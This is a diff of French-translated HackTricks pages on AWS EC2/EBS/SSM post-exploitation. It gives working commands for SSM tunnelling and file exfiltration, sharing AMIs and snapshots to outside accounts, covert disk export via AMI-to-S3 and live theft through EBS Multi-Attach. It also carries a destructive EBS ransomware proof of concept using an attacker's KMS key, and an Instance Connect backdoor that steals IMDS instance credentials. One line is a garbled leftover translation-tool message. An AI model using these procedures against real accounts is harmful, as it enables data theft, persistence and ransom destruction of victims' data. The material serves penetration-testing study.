5. Connectez-vous à EKS en tant que Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
@@ -116,30 +180,30 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Le trafic de l'outil `kubectl` est maintenant acheminé à travers le tunnel SSM via le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
|
||||
8. Le trafic de l'outil `kubectl` est maintenant acheminé via le tunnel SSM passant par le Bastion EC2, et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Notez que les connexions SSL échoueront à moins que vous ne définissiez le `--insecure-skip-tls-verify` flag (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel sécurisé AWS SSM, vous êtes à l'abri de tout type d'attaques MitM.
|
||||
Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est acheminé via le tunnel sécurisé AWS SSM, vous êtes protégé contre tout type d'attaques MitM.
|
||||
|
||||
Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.
|
||||
Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers n'importe quel autre service AWS ou une application personnalisée.
|
||||
|
||||
---
|
||||
|
||||
#### Transfert de Port Local ↔️ Distant Rapide (AWS-StartPortForwardingSession)
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Si vous avez seulement besoin de transférer **un port TCP depuis l'instance EC2 vers votre hôte local**, vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) :
|
||||
Si vous n'avez besoin que de forward **one TCP port from the EC2 instance to your local host** , vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre de remote host requis):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
La commande établit un tunnel bidirectionnel entre votre station de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles de groupe de sécurité entrantes**.
|
||||
La commande établit un tunnel bidirectionnel entre votre station de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles inbound de Security-Group**.
|
||||
|
||||
Cas d'utilisation courants :
|
||||
Common use cases:
|
||||
|
||||
* **Exfiltration de fichiers**
|
||||
* **File exfiltration**
|
||||
1. Sur l'instance, démarrez un serveur HTTP rapide qui pointe vers le répertoire que vous souhaitez exfiltrer :
|
||||
|
||||
```bash
|
||||
@@ -152,7 +216,7 @@ python3 -m http.server 8000
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accès aux applications web internes (par exemple, Nessus)**
|
||||
* **Accéder aux applications web internes (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -160,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Astuce : Compressez et cryptez les preuves avant de les exfiltrer afin que CloudTrail ne consigne pas le contenu en texte clair :
|
||||
Astuce : compressez et chiffrez les preuves avant de les exfiltrer afin que CloudTrail n'enregistre pas le contenu en clair :
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### Partager AMI
|
||||
### Partager une AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Rechercher des informations sensibles dans des AMIs publiques et privées
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir d'AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles au sein d'Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes et l'analyse à la recherche de secrets potentiels ou de données sensibles.
|
||||
|
||||
### Partager un instantané EBS
|
||||
### Partager EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service en raison de la facilité d'utilisation pour chiffrer divers services AWS.
|
||||
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes S3 de post-exploitation. KMS devrait être renommé en RMS pour Ransomware Management Service, compte tenu de la facilité avec laquelle il permet de chiffrer divers services AWS.
|
||||
|
||||
Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Outside Encryption'
|
||||
Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Pour cet exemple, nous laisserons AWS gérer les données de clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour autoriser n'importe quel AWS account Principal à utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout accès s'appelle 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -273,7 +337,7 @@ Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le c
|
||||
]
|
||||
}
|
||||
```
|
||||
La règle de politique de clé nécessite les éléments suivants activés pour permettre son utilisation pour chiffrer un volume EBS :
|
||||
La règle de la key policy doit avoir les permissions suivantes activées pour permettre son utilisation afin de chiffrer un volume EBS :
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -281,21 +345,21 @@ La règle de politique de clé nécessite les éléments suivants activés pour
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Maintenant avec la clé accessible publiquement à utiliser. Nous pouvons utiliser un compte 'victime' qui a quelques instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victime' sont ce que nous ciblons pour le chiffrement, cette attaque est sous l'hypothèse d'une violation d'un compte AWS à privilèges élevés.
|
||||
Maintenant, avec la clé publiquement accessible à utiliser. Nous pouvons utiliser un compte 'victim' qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont ceux que nous ciblons pour le chiffrement ; cette attaque se déroule dans le cadre d'une compromission supposée d'un compte AWS à privilèges élevés.
|
||||
|
||||
 
|
||||
|
||||
Semblable à l'exemple de ransomware S3. Cette attaque créera des copies des volumes EBS attachés en utilisant des instantanés, utilisera la clé disponible publiquement du compte 'attaquant' pour chiffrer les nouveaux volumes EBS, puis détachera les volumes EBS originaux des instances EC2 et les supprimera, et enfin supprimera les instantanés utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
Similaire à l'exemple de ransomware S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
|
||||
Cela laisse uniquement des volumes EBS chiffrés disponibles dans le compte.
|
||||
Cela a pour résultat de n'avoir que des volumes EBS chiffrés disponibles dans le compte.
|
||||
|
||||

|
||||
|
||||
Il convient également de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes non chiffrés d'origine sont maintenant disparus.
|
||||
Il convient également de noter que le script a arrêté les instances EC2 pour pouvoir détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont maintenant disparu.
|
||||
|
||||

|
||||
|
||||
Ensuite, retournez à la politique de clé dans le compte 'attaquant' et supprimez la règle de politique 'Outside Encryption' de la politique de clé.
|
||||
Ensuite, retournez à la key policy dans le compte 'attacker' et retirez la règle de policy 'Outside Encryption' de la key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -366,15 +430,15 @@ Ensuite, retournez à la politique de clé dans le compte 'attaquant' et supprim
|
||||
]
|
||||
}
|
||||
```
|
||||
Attendez un moment que la nouvelle politique de clé se propage. Ensuite, retournez au compte 'victime' et essayez de joindre l'un des nouveaux volumes EBS chiffrés. Vous constaterez que vous pouvez attacher le volume.
|
||||
Attendez un instant que la nouvelle key policy se propage. Ensuite, retournez dans le compte 'victim' et tentez d'attacher un des EBS volumes nouvellement chiffrés. Vous verrez que vous pouvez attacher le volume.
|
||||
|
||||
 
|
||||
|
||||
Mais lorsque vous essayez de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus.
|
||||
Mais lorsque vous tentez en fait de redémarrer l'instance EC2 avec le EBS volume chiffré, ça échoue et passe de l'état 'pending' à l'état 'stopped' indéfiniment, puisque le EBS volume attaché ne peut pas être déchiffré avec la key car la key policy ne le permet plus.
|
||||
|
||||
 
|
||||
|
||||
Voici le script python utilisé. Il prend les identifiants AWS pour un compte 'victime' et une valeur ARN AWS disponible publiquement pour la clé à utiliser pour le chiffrement. Le script fera des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêtera chaque instance EC2, détachera les volumes EBS originaux, les supprimera, et enfin supprimera tous les instantanés utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victime' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la clé KMS utilisée et les restaurer à leur état d'origine via des instantanés, mais je veux juste vous faire savoir que c'est une preuve de concept de ransomware à la fin de la journée.
|
||||
Voici le script python utilisé. Il prend des AWS creds pour un compte 'victim' et une valeur ARN AWS publiquement accessible pour la key à utiliser pour le chiffrement. Le script va créer des copies chiffrées de TOUS les EBS volumes disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêter chaque instance EC2, détacher les EBS volumes originaux, les supprimer, et enfin supprimer tous les snapshots utilisés pendant le processus. Cela ne laissera que des EBS volumes chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES EBS VOLUMES ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état d'origine via des snapshots, mais je tiens à vous informer qu'il s'agit au final d'un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -493,6 +557,6 @@ main()
|
||||
```
|
||||
## Références
|
||||
|
||||
- [Pentest Partners – Comment transférer des fichiers dans AWS en utilisant SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Résumé
|
||||
Abuse EC2 AMI export-to-S3 pour exfiltrer le disque complet d'une instance EC2 en tant qu'image raw unique stockée dans S3, puis la télécharger par un canal hors bande. Cela évite le partage de snapshots et produit un objet par AMI.
|
||||
|
||||
## Prérequis
|
||||
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` sur l'instance/AMI cible
|
||||
- S3 (même Région): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
|
||||
- Capacité KMS de décryptage sur la clé qui protège les snapshots AMI (si le chiffrement par défaut EBS est activé)
|
||||
- S3 bucket policy qui fait confiance au service principal `vmie.amazonaws.com` (voir ci-dessous)
|
||||
|
||||
## Impact
|
||||
- Acquisition complète hors ligne du disque racine de l'instance dans S3 sans partager les snapshots ni copier entre comptes.
|
||||
- Permet une analyse forensique discrète des identifiants, de la configuration et du contenu du système de fichiers à partir de l'image raw exportée.
|
||||
|
||||
## How to Exfiltrate via AMI Store-to-S3
|
||||
|
||||
- Remarques :
|
||||
- Le bucket S3 doit être dans la même Région que l'AMI.
|
||||
- Dans `us-east-1`, `create-bucket` NE doit PAS inclure `--create-bucket-configuration`.
|
||||
- `--no-reboot` crée une image crash-consistent sans arrêter l'instance (plus discret mais moins cohérent).
|
||||
|
||||
<details>
|
||||
<summary>Commandes étape par étape</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<i-victim>
|
||||
BUCKET=exfil-ami-$(date +%s)-$RANDOM
|
||||
|
||||
# 1) Create S3 bucket (same Region)
|
||||
if [ "$REGION" = "us-east-1" ]; then
|
||||
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
|
||||
else
|
||||
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
|
||||
fi
|
||||
|
||||
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
cat > /tmp/bucket-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVMIEPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "vmie.amazonaws.com"},
|
||||
"Action": [
|
||||
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
|
||||
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::$BUCKET",
|
||||
"arn:aws:s3:::$BUCKET/*"
|
||||
],
|
||||
"Condition": {
|
||||
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
|
||||
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
POL
|
||||
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
|
||||
|
||||
# 3) Create an AMI of the victim (stealthy: do not reboot)
|
||||
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
|
||||
|
||||
# 4) Wait until the AMI is available
|
||||
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
|
||||
|
||||
# 5) Store the AMI to S3 as a single object (raw disk image)
|
||||
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
|
||||
|
||||
echo "Object in S3: s3://$BUCKET/$OBJKEY"
|
||||
|
||||
# 6) Poll the task until it completes
|
||||
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
|
||||
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 7) Prove access to the exported image (download first 1MiB)
|
||||
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
|
||||
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
|
||||
ls -l /tmp/ami.bin
|
||||
|
||||
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
|
||||
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
|
||||
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
|
||||
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
|
||||
done
|
||||
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
|
||||
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Exemple de preuve
|
||||
|
||||
- `describe-store-image-tasks` transitions:
|
||||
```text
|
||||
InProgress
|
||||
Completed
|
||||
```
|
||||
- S3 métadonnées d'objet (exemple):
|
||||
```json
|
||||
{
|
||||
"AcceptRanges": "bytes",
|
||||
"LastModified": "2025-10-08T01:31:46+00:00",
|
||||
"ContentLength": 399768709,
|
||||
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
|
||||
"ContentType": "application/octet-stream",
|
||||
"ServerSideEncryption": "AES256",
|
||||
"Metadata": {
|
||||
"ami-name": "exfil-1759887010",
|
||||
"ami-owner-account": "<account-id>",
|
||||
"ami-store-date": "2025-10-08T01:31:45Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
- Téléchargement partiel prouve l'accès à l'objet:
|
||||
```bash
|
||||
ls -l /tmp/ami.bin
|
||||
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
|
||||
```
|
||||
## Autorisations IAM requises
|
||||
|
||||
- EC2 : `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
|
||||
- S3 (sur le bucket d'export) : `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
|
||||
- KMS : Si les snapshots AMI sont chiffrés, autoriser decrypt pour la EBS KMS key utilisée par les snapshots
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,77 @@
|
||||
# AWS - Live Data Theft via EBS Multi-Attach
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Résumé
|
||||
Abuse EBS Multi-Attach pour lire un volume de données io1/io2 en cours d'utilisation en attachant ce même volume à une instance contrôlée par l'attaquant dans la même Availability Zone (AZ). Monter le volume partagé en lecture seule permet d'accéder immédiatement aux fichiers en cours d'utilisation sans créer de snapshots.
|
||||
|
||||
## Prérequis
|
||||
- Volume cible : io1 ou io2 créé avec `--multi-attach-enabled` dans la même AZ que l'instance de l'attaquant.
|
||||
- Permissions : `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` sur le volume/les instances ciblés.
|
||||
- Infrastructure : types d'instances basés sur Nitro qui supportent Multi-Attach (familles C5/M5/R5, etc.).
|
||||
|
||||
## Remarques
|
||||
- Monter en lecture seule avec `-o ro,noload` pour réduire le risque de corruption et éviter les replays du journal.
|
||||
- Sur les instances Nitro, le périphérique EBS NVMe expose un chemin stable `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (aide ci-dessous).
|
||||
|
||||
## Préparer un volume io2 Multi-Attach et l'attacher à la victime
|
||||
|
||||
Exemple (créer dans `us-east-1a` et attacher à la victime) :
|
||||
```bash
|
||||
AZ=us-east-1a
|
||||
# Create io2 volume with Multi-Attach enabled
|
||||
VOL_ID=$(aws ec2 create-volume \
|
||||
--size 10 \
|
||||
--volume-type io2 \
|
||||
--iops 1000 \
|
||||
--availability-zone $AZ \
|
||||
--multi-attach-enabled \
|
||||
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
|
||||
--query 'VolumeId' --output text)
|
||||
|
||||
# Attach to victim instance
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
|
||||
```
|
||||
Sur la victime, formatez/montez le nouveau volume et écrivez des données sensibles (à titre d'illustration) :
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkfs.ext4 -F "$DEV"
|
||||
sudo mkdir -p /mnt/shared
|
||||
sudo mount "$DEV" /mnt/shared
|
||||
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
|
||||
sudo sync
|
||||
```
|
||||
## Attacher le même volume à l'instance de l'attaquant
|
||||
```bash
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
|
||||
```
|
||||
## Mount read-only sur l'attacker et lire les données
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkdir -p /mnt/steal
|
||||
sudo mount -o ro,noload "$DEV" /mnt/steal
|
||||
sudo cat /mnt/steal/secret.txt
|
||||
```
|
||||
Résultat attendu : Le même `VOL_ID` affiche plusieurs `Attachments` (victim and attacker) et the attacker peut lire les fichiers écrits par the victim sans créer de snapshot.
|
||||
```bash
|
||||
aws ec2 describe-volumes --volume-ids $VOL_ID \
|
||||
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
|
||||
```
|
||||
<details>
|
||||
<summary>Aide : trouver le chemin du périphérique NVMe par Volume ID</summary>
|
||||
|
||||
Sur les instances Nitro, utilisez le chemin by-id stable qui intègre le Volume ID (supprimez le tiret après `vol`):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
|
||||
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
- Accès en lecture immédiat aux données en direct du volume EBS ciblé sans générer de snapshots.
|
||||
- Si monté en lecture-écriture (read-write), l'attaquant peut altérer le système de fichiers de la victime (risque de corruption).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuser EC2 Instance Connect Endpoint (EIC Endpoint) pour obtenir un accès SSH entrant vers des instances EC2 privées (sans IP publique/bastion) en :
|
||||
- Créer un EIC Endpoint dans le subnet cible
|
||||
- Autoriser SSH entrant sur le SG cible depuis le SG de l'EIC Endpoint
|
||||
- Injection d'une clé publique SSH éphémère (valide ~60 secondes) avec `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Ouvrir un tunnel EIC et pivoting vers l'instance pour voler les credentials de l'instance profile depuis IMDS
|
||||
|
||||
Impact : chemin d'accès distant furtif vers des instances EC2 privées qui contourne les bastions et les restrictions d'IP publique. L'attaquant peut assumer l'instance profile et opérer dans le compte.
|
||||
|
||||
## Exigences
|
||||
- Permissions pour :
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Instance Linux cible avec serveur SSH et EC2 Instance Connect activé (Amazon Linux 2 ou Ubuntu 20.04+). Utilisateurs par défaut : `ec2-user` (AL2) ou `ubuntu` (Ubuntu).
|
||||
|
||||
## Variables
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
export SUBNET_ID=<subnet-xxxxxxxx>
|
||||
export VPC_ID=<vpc-xxxxxxxx>
|
||||
export TARGET_SG_ID=<sg-of-target-instance>
|
||||
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Créer un point de terminaison EIC
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
--security-group-ids "$ENDPOINT_SG_ID" \
|
||||
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
|
||||
--region "$REGION" \
|
||||
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
|
||||
|
||||
# Wait until ready
|
||||
while true; do
|
||||
aws ec2 describe-instance-connect-endpoints \
|
||||
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
|
||||
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
|
||||
grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Autoriser le trafic de l'EIC Endpoint vers l'instance cible
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Injecter une clé SSH éphémère et ouvrir un tunnel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
|
||||
# Send short-lived SSH pubkey (valid ~60s)
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "$OS_USER" \
|
||||
--ssh-public-key file:///tmp/eic.pub \
|
||||
--region "$REGION"
|
||||
|
||||
# Open a local tunnel to instance:22 via the EIC Endpoint
|
||||
aws ec2-instance-connect open-tunnel \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" \
|
||||
--local-port 2222 --remote-port 22 --region "$REGION" &
|
||||
TUN_PID=$!; sleep 2
|
||||
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Preuve de Post-exploitation (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
Je n'ai pas reçu le contenu à traduire. Veuillez coller le texte du fichier src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md ici.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "w0G...",
|
||||
"Token": "IQoJ...",
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Utilisez les creds volés localement pour vérifier l'identité :
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
## Nettoyage
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
|
||||
# Delete EIC Endpoint
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Remarques
|
||||
> - La clé SSH injectée n'est valide qu'environ ~60 secondes ; envoyez la clé juste avant d'ouvrir le tunnel/SSH.
|
||||
